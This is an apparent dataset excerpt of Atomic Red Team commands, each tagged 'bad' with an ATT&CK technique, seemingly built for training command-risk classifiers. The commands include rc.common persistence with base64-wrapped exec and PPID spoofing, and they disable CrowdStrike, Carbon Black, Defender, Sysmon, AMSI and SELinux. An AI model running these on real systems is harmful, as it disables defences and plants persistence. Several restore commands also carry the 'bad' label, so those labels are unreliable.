cowWhySo/permission-command-corpus huggingface dataset:
Command: sudo echo osascript -e 'tell app "Finder" to display dialog "Hello World"' >> /etc/rc.common
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.004
Platform: macos
ATT&CK tags: T1037.004
Source rule: rc.common
Notes: Modify rc.common

[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html)
Command: filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common sudo chmod +x /etc/rc.common
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.004
Platform: linux
ATT&CK tags: T1037.004
Source rule: rc.common
Notes: Modify rc.common
Command: origfilename='/etc/rc.common.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.004
Platform: linux
ATT&CK tags: T1037.004
Source rule: rc.common
Notes: Modify rc.common
Command: filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi [ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local echo "\npython3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local printf 'exit 0' | sudo tee -a /etc/rc.local sudo chmod +x /etc/rc.local
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.004
Platform: linux
ATT&CK tags: T1037.004
Source rule: rc.local
Notes: Modify rc.local
Command: origfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.004
Platform: linux
ATT&CK tags: T1037.004
Source rule: rc.local
Notes: Modify rc.local
Command: chmod #{numeric_mode} #{file_or_folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: linux,macos
ATT&CK tags: T1222.002
Source rule: chmod - Change file or folder mode (numeric mode)
Notes: Changes a file or folder's permissions using chmod and a specified numeric mode.
Command: chmod #{symbolic_mode} #{file_or_folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: linux,macos
ATT&CK tags: T1222.002
Source rule: chmod - Change file or folder mode (symbolic mode)
Notes: Changes a file or folder's permissions using chmod and a specified symbolic mode.
Command: chmod -R #{numeric_mode} #{file_or_folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: linux,macos
ATT&CK tags: T1222.002
Source rule: chmod - Change file or folder mode (numeric mode) recursively
Notes: Changes a file or folder's permissions recursively using chmod and a specified numeric mode.
Command: chmod -R #{symbolic_mode} #{file_or_folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: linux,macos
ATT&CK tags: T1222.002
Source rule: chmod - Change file or folder mode (symbolic mode) recursively
Notes: Changes a file or folder's permissions recursively using chmod and a specified symbolic mode.
Command: chown #{owner}:#{group} #{file_or_folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: macos,linux
ATT&CK tags: T1222.002
Source rule: chown - Change file or folder ownership and group
Notes: Changes a file or folder's ownership and group information using chown.
Command: chown -R #{owner}:#{group} #{file_or_folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: macos,linux
ATT&CK tags: T1222.002
Source rule: chown - Change file or folder ownership and group recursively
Notes: Changes a file or folder's ownership and group information recursively using chown.
Command: chown #{owner} #{file_or_folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: linux,macos
ATT&CK tags: T1222.002
Source rule: chown - Change file or folder mode ownership only
Notes: Changes a file or folder's ownership only using chown.
Command: chown -R #{owner} #{file_or_folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: macos,linux
ATT&CK tags: T1222.002
Source rule: chown - Change file or folder ownership recursively
Notes: Changes a file or folder's ownership only recursively using chown.
Command: chattr -i #{file_to_modify}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: macos,linux
ATT&CK tags: T1222.002
Source rule: chattr - Remove immutable file attribute
Notes: Remove's a file's `immutable` attribute using `chattr`.
This technique was used by the threat actor Rocke during the compromise of Linux web servers.
Command: touch #{file_to_modify} chflags simmutable #{file_to_modify} chflags nosimmutable #{file_to_modify}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: linux
ATT&CK tags: T1222.002
Source rule: chflags - Remove immutable file attribute
Notes: Remove's a file's `immutable` attribute using `chflags`.
This technique was used by the threat actor Rocke during the compromise of Linux web servers.
Command: #{compiled_file} /tmp/ T1222002
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: macos,linux
ATT&CK tags: T1222.002
Source rule: Chmod through c script
Notes: chmods a file using a c script
Command: sudo #{compiled_file} #{source_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: macos,linux
ATT&CK tags: T1222.002
Source rule: Chown through c script
Notes: chowns a file to root using a c script
Command: #{compiled_file} #{source_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1222.002
Platform: linux
ATT&CK tags: T1222.002
Source rule: Chown through c script (freebsd)
Notes: chowns a file to root using a c script
Command: . "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1" $ppid=Get-Process #{parent_process_name} | select -expand id PPID-Spoof -ppid $ppid -spawnto "#{spawnto_process_path}" -dllpath "#{dll_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.004
Platform: windows
ATT&CK tags: T1134.004
Source rule: Parent PID Spoofing using PowerShell
Notes: This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.
Upon execution, "Process C:\Program Files\Internet Explorer\iexplore.exe is spawned with pid ####" will be displayed and
calc.exe will be launched.

Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)
Command: Stop-Process -Name "#{dll_process_name}" -ErrorAction Ignore Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.004
Platform: windows
ATT&CK tags: T1134.004
Source rule: Parent PID Spoofing using PowerShell
Notes: This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.
Upon execution, "Process C:\Program Files\Internet Explorer\iexplore.exe is spawned with pid ####" will be displayed and
calc.exe will be launched.

Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)
Command: Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}' -ParentId #{parent_pid}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.004
Platform: windows
ATT&CK tags: T1134.004
Source rule: Parent PID Spoofing - Spawn from Current Process
Notes: Spawns a powershell.exe process as a child of the current process.
Command: Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.004
Platform: windows
ATT&CK tags: T1134.004
Source rule: Parent PID Spoofing - Spawn from Specified Process
Notes: Spawns a notepad.exe process as a child of the current process.
Command: Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter "Name = 'svchost.exe' AND CommandLine LIKE '%'" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.004
Platform: windows
ATT&CK tags: T1134.004
Source rule: Parent PID Spoofing - Spawn from svchost.exe
Notes: Spawnd a process as a child of the first accessible svchost.exe process.
Command: Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.004
Platform: windows
ATT&CK tags: T1134.004
Source rule: Parent PID Spoofing - Spawn from New Process
Notes: Creates a notepad.exe process and then spawns a powershell.exe process as a child of it.
Command: New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > $env:temp\clsids.txt ForEach($CLSID in Get-Content "$env:temp\clsids.txt") {try{write-output "$($Position)-$($CLSID)" write-output "------------"| out-file #{output_file} -append write-output $($CLSID)| out-file #{output_file} -append $handle=[activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID)) $handle | get-member -erroraction silentlycontinue | out-file #{output_file} -append $position += 1} catch{}}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1012
Platform: windows
ATT&CK tags: T1012
Source rule: Enumerate COM Objects in Registry with Powershell
Notes: This test is designed to enumerate the COM objects listed in HKCR, then output their methods and CLSIDs to a text file.
An adversary could then use this information to identify COM objects that might be vulnerable to abuse, such as using them to spawn arbitrary processes. 
See: https://www.mandiant.com/resources/hunting-com-objects
Command: remove-item #{output_file} -force -erroraction silentlycontinue remove-item $env:temp\clsids.txt -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1012
Platform: windows
ATT&CK tags: T1012
Source rule: Enumerate COM Objects in Registry with Powershell
Notes: This test is designed to enumerate the COM objects listed in HKCR, then output their methods and CLSIDs to a text file.
An adversary could then use this information to identify COM objects that might be vulnerable to abuse, such as using them to spawn arbitrary processes. 
See: https://www.mandiant.com/resources/hunting-com-objects
Command: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1012
Platform: windows
ATT&CK tags: T1012
Source rule: Reg query for AlwaysInstallElevated status
Notes: The reg query commands allows to check the status of the AlwaysInstallElevated registry key for both the user and the machine. If both queries return a value of 0x1, then AlwaysInstallElevated is enabled for both user and machine thus allowing a regular user to install a Microsoft Windows Installer package with system level privileges. This can be abused by an attacker to escalate privileges in the host to SYSTEM level.
Command: reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1012
Platform: windows
ATT&CK tags: T1012
Source rule: Check Software Inventory Logging (SIL) status via Registry
Notes: Microsoft's Software Inventory Logging (SIL) collects information about software installed per host basis. Adversary can use such logs to passively 
check for existence of software of interest to them. Status of SIL can be checked via registry.
[Reference](https://blog.talosintelligence.com/chinese-hacking-group-apt41-compromised-taiwanese-government-affiliated-research-institute-with-shadowpad-and-cobaltstrike-2/)
Command: reg.exe query HKLM\SYSTEM\CurrentControlSet\Control /v SystemStartOptions
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1012
Platform: windows
ATT&CK tags: T1012
Source rule: Inspect SystemStartOptions Value in Registry
Notes: The objective of this test is to query the SystemStartOptions key under HKLM\SYSTEM\CurrentControlSet\Control in the Windows registry. This action could be used to uncover specific details about how the system is configured to start, potentially aiding in understanding boot parameters or identifying security-related settings. key is.
Command: service syslogd stop sysrc syslogd_enable="NO"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: linux
ATT&CK tags: T1562.001
Source rule: Disable syslog (freebsd)
Notes: Disables syslog collection
Command: sysrc syslogd_enable="YES" service syslogd start
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: linux
ATT&CK tags: T1562.001
Source rule: Disable syslog (freebsd)
Notes: Disables syslog collection
Command: if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ]; then service cbdaemon stop chkconfig off cbdaemon else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ]; systemctl stop cbdaemon systemctl disable cbdaemon fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: linux
ATT&CK tags: T1562.001
Source rule: Disable Cb Response
Notes: Disable the Cb Response service
Command: setenforce 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: linux
ATT&CK tags: T1562.001
Source rule: Disable SELinux
Notes: Disables SELinux enforcement
Command: setenforce 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: linux
ATT&CK tags: T1562.001
Source rule: Disable SELinux
Notes: Disables SELinux enforcement
Command: sudo systemctl stop falcon-sensor.service sudo systemctl disable falcon-sensor.service
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: linux
ATT&CK tags: T1562.001
Source rule: Stop Crowdstrike Falcon on Linux
Notes: Stop and disable Crowdstrike Falcon on Linux
Command: sudo systemctl enable falcon-sensor.service sudo systemctl start falcon-sensor.service
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: linux
ATT&CK tags: T1562.001
Source rule: Stop Crowdstrike Falcon on Linux
Notes: Stop and disable Crowdstrike Falcon on Linux
Command: sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: macos
ATT&CK tags: T1562.001
Source rule: Disable Carbon Black Response
Notes: Disables Carbon Black Response
Command: sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: macos
ATT&CK tags: T1562.001
Source rule: Disable Carbon Black Response
Notes: Disables Carbon Black Response
Command: sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: macos
ATT&CK tags: T1562.001
Source rule: Disable LittleSnitch
Notes: Disables LittleSnitch
Command: sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: macos
ATT&CK tags: T1562.001
Source rule: Disable LittleSnitch
Notes: Disables LittleSnitch
Command: sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: macos
ATT&CK tags: T1562.001
Source rule: Disable OpenDNS Umbrella
Notes: Disables OpenDNS Umbrella
Command: sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: macos
ATT&CK tags: T1562.001
Source rule: Disable OpenDNS Umbrella
Notes: Disables OpenDNS Umbrella
Command: sudo spctl --master-disable
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: macos
ATT&CK tags: T1562.001
Source rule: Disable macOS Gatekeeper
Notes: Disables macOS Gatekeeper
Command: sudo spctl --master-enable
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: macos
ATT&CK tags: T1562.001
Source rule: Disable macOS Gatekeeper
Notes: Disables macOS Gatekeeper
Command: sudo launchctl unload #{falcond_plist} sudo launchctl unload #{userdaemon_plist}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: macos
ATT&CK tags: T1562.001
Source rule: Stop and unload Crowdstrike Falcon on macOS
Notes: Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS
Command: sudo launchctl load -w #{falcond_plist} sudo launchctl load -w #{userdaemon_plist}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: macos
ATT&CK tags: T1562.001
Source rule: Stop and unload Crowdstrike Falcon on macOS
Notes: Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS
Command: fltmc.exe unload #{sysmon_driver}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Unload Sysmon Filter Driver
Notes: Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution,
run the prereq_command's and it should fail with an error of "sysmon filter must be loaded".
Command: sysmon -u -i > nul 2>&1 sysmon -i -accepteula -i > nul 2>&1 "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u > nul 2>&1 "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i > nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Unload Sysmon Filter Driver
Notes: Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution,
run the prereq_command's and it should fail with an error of "sysmon filter must be loaded".
Command: sysmon -u
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Uninstall Sysmon
Notes: Uninstall Sysinternals Sysmon for Defense Evasion
Command: sysmon -i -accepteula >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Uninstall Sysmon
Notes: Uninstall Sysinternals Sysmon for Defense Evasion
Command: Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: AMSI Bypass - Remove AMSI Provider Reg Key
Notes: With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection.
This test removes the Windows Defender provider registry key. Upon execution, no output is displayed.
Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\" to verify that it is gone.
Command: New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" -ErrorAction Ignore | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: AMSI Bypass - Remove AMSI Provider Reg Key
Notes: With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection.
This test removes the Windows Defender provider registry key. Upon execution, no output is displayed.
Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\" to verify that it is gone.
Command: net.exe stop #{service_name} sc.exe config #{service_name} start= disabled
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Disable Arbitrary Security Windows Service
Notes: With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.
Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.
To verify that the service has stopped, run "sc query McAfeeDLPAgentService"
Command: sc.exe config #{service_name} start= auto >nul 2>&1 net.exe start #{service_name} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Disable Arbitrary Security Windows Service
Notes: With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.
Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.
To verify that the service has stopped, run "sc query McAfeeDLPAgentService"
Command: Set-MpPreference -DisableRealtimeMonitoring 1 Set-MpPreference -DisableBehaviorMonitoring 1 Set-MpPreference -DisableScriptScanning 1 Set-MpPreference -DisableBlockAtFirstSeen 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender ATP PowerShell
Notes: Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
Command: Set-MpPreference -DisableRealtimeMonitoring 0 Set-MpPreference -DisableBehaviorMonitoring 0 Set-MpPreference -DisableScriptScanning 0 Set-MpPreference -DisableBlockAtFirstSeen 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender ATP PowerShell
Notes: Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
Command: sc stop WinDefend sc config WinDefend start=disabled sc query WinDefend
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender Command Prompt
Notes: Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.
However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied"
will be displayed twice and the WinDefend service status will be displayed.